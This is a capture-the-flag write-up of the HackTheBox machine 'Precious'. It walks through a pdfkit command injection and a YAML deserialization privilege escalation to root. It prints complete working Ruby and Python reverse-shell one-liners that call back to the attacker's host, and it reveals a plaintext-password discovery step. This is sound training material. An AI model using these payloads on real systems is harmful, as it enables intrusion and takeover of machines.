Writeup of Precious From HackTheBox
Getting a foothold
For the initial port scan, we use the following nmap command:
nmap -sS -A -Pn -T5 -p- -oN nmap.txt 10.10.11.189
And receive the following results:
The website allows us to create a PDF of a submitted URL. When taking a closer look at the responses using ZAP we can see that pdfkit v0.86 is being used to generate the PDFs.
A quick search reveals that this version of pdfkit is vulnerable to Command Injection: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 (I heavily recommend snyk for looking up CVEs, their pages often contain a PoC or a link to one)
Now all we need is the command for a reverse shell which can be found here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
In this case I use a ruby reverse shell since I already know that ruby is installed on the target.
On our machine, we start a web server and a listener:
python -m http.server &
nc -lvnp 8001
And then enter the following URL on the website:
http://10.10.14.159:8000/index.html?name=#{'%20`ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.14.159","8001");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'`'}
And we have access to a shell on the target system. Since our shell is not very nice to use, we verfiy that python is installed, open a second listener and start a second reverse shell, by entering the following command in our first shell:
python3 -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.159",8002));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
User Flag
One of the first things I do once I have access to shell is to run linpeas. I download the shell script from GitHub onto my machine and then use a local web server and curl to get it onto the target machine.
Once ran, the script shows us an unusual file/directory in a user’s home directory: /home/ruby/.bundle/config. In this file we can find the password for the user henry. We can now log in as henry using ssh.
...
╔══════════╣ Searching root files in home dirs (limit 30)
/home/
/home/henry/user.txt
/home/henry/.bash_history
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.bash_history
...
Root Flag
Since we have the password for henry we can run sudo -l to see if we can run programs as root:
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Let’s take a look at /opt/update_dependencies.rb:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The file /opt/update_dependencies.rb processes data from dependencies.yml which is linked via a relative path, meaning we can supply our own dependencies.yml with a malicious payload.
All we are missing is a function to abuse, after looking up some of the functions I found a RCE involving YAML.read(): https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/.
The payload shown can be used to either print out the root flag or to set the suid bit on /bin/bash (supply chmod a+s /bin/bash as command in the payload, followed by /bin/bash -p in the shell)